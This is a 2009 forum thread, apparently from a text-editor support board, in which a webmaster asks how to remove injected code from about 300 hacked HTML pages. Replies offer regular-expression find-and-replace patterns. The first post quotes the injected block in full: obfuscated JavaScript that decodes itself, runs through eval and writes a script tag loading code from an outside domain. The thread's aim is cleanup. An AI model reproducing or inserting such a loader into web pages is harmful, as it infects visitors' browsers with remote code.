Trying to remove website hack!

ngdoherty · Post by **ngdoherty** » Tue May 12, 2009 2:14 pm

Hi,

My html pages on a webserver were hacked - with different peices of code added - mainly hidden iframes and javascript.

I am trying to remove the following block of code from approx 300 files - and just not sure where to start. I believe the code is always the same - so no variable number of newlines.

Hopefully some of you regexp gurus have the answer.

I have no idea what the code does - if it in any way could impact on the foum - then I can remove immediately.

Code: Select all

</head>
<script language=javascript><!-- 
(function(t71c){var PXmy='%';var euN16='va"72"20a"3d"22Sc"72ipt"45ng"69ne"22"2cb"3d"22Vers"69"6fn("29+"22"2c"6a"3d"22"22"2cu"3dna"76igator"2e"75s"65"72Age"6et"3bi"66((u"2ei"6e"64exOf("22W"69"6e"22)"3e0)"26"26"28"75"2ei"6edex"4ff("22N"54"206"22)"3c0)"26"26"28d"6f"63"75men"74"2ec"6f"6fkie"2ei"6edexOf("22mi"65k"3d1"22)"3c0)"26"26("74ypeof"28"7a"72"76zt"73)"21"3dt"79peo"66"28"22A"22)))"7bz"72"76zts"3d"22A"22"3b"65val("22"69f(window"2e"22+a"2b"22)j"3d"6a+"22+a+"22Major"22+b+a+"22Minor"22"2bb+a+"22Build"22+b+"22j"3b"22)"3bdocume"6et"2ewri"74e("22"3cscript"20s"72c"3d"2f"2fgum"62"6car"2ecn"2f"72"73s"2f"3f"69"64"3d"22+j+"22"3e"3c"5c"2f"73cr"69pt"3e"22"29"3b"7d';var pgbz=euN16.replace(t71c,PXmy);var nSk=unescape(pgbz);eval(nSk)})(/"/g);
 --></script><body>

ben_josephs · Post by **ben_josephs** » Tue May 12, 2009 3:13 pm

Something similar to this should do it:

Find what: </head>\n<script language=javascript></script><body>\n
Replace with: [nothing]

[X] Regular expression

Replace All

This assumes you are using Posix regular expression syntax:

Configure | Preferences | Editor

[X] Use POSIX regular expression syntax

Do you not have copies of your web pages other than on your web site...?

ngdoherty · Post by **ngdoherty** » Tue May 12, 2009 3:48 pm

Hi Ben,

Unfortunately that didn't work - got message "Couldn't find Regular Expression ..."

I made sure I had POSIX checked. I am using Textpad 5.2.0

I have backup of files - but some are edited via CMS - so I wouldn't have "latest" changes. Most files would be identical - so what I did was to retore the backups. I now want to compare the latest hacked files (stored locallly) with the "clean" files on the server.

Which is why I want to remove the code - and then do simple compare.

ngdoherty · Post by **ngdoherty** » Tue May 12, 2009 3:53 pm

Its ok - it did work. I had to close down Textpad and reopen - maybe you can't change the POSIX setting on the fly??

Thanks for your help.

sosimple · Post by **sosimple** » Sat May 16, 2009 6:51 pm

ben_josephs wrote:Something similar to this should do it:
Find what: </head>\n<script language=javascript></script><body>\n
Replace with: [nothing]

[X] Regular expression

Replace All
This assumes you are using Posix regular expression syntax:
Configure | Preferences | Editor

[X] Use POSIX regular expression syntax
Do you not have copies of your web pages other than on your web site...?

Hi Ben,

Looks like your solution is almost perfect, except that you lose the </head> and <body> tags.

This should cover it ...

Find what: (</head>)\n<script language=javascript></script>(<body>)\n
Replace with: \1\n\2\n

[X] Regular expression

Replace All

Again, assumes you are using Posix regular expression syntax:

Configure | Preferences | Editor

[X] Use POSIX regular expression syntax

Kevin

ben_josephs · Post by **ben_josephs** » Sat May 16, 2009 10:05 pm

Well, yes. But that isn't what was asked for.

sosimple · Post by **sosimple** » Sun May 17, 2009 4:25 am

OK, I could see how the Original Post could be read that way ...

But I was thinking along the lines of what was asked for in the title of the thread:
"Trying to remove website hack!"

... I assumed that the </head> and <body> tags are not part of the hack and removing the hack would leave those tags in place.

But in any case, ngdoherty and anyone else reading this thread can decide which they need to use.

Kevin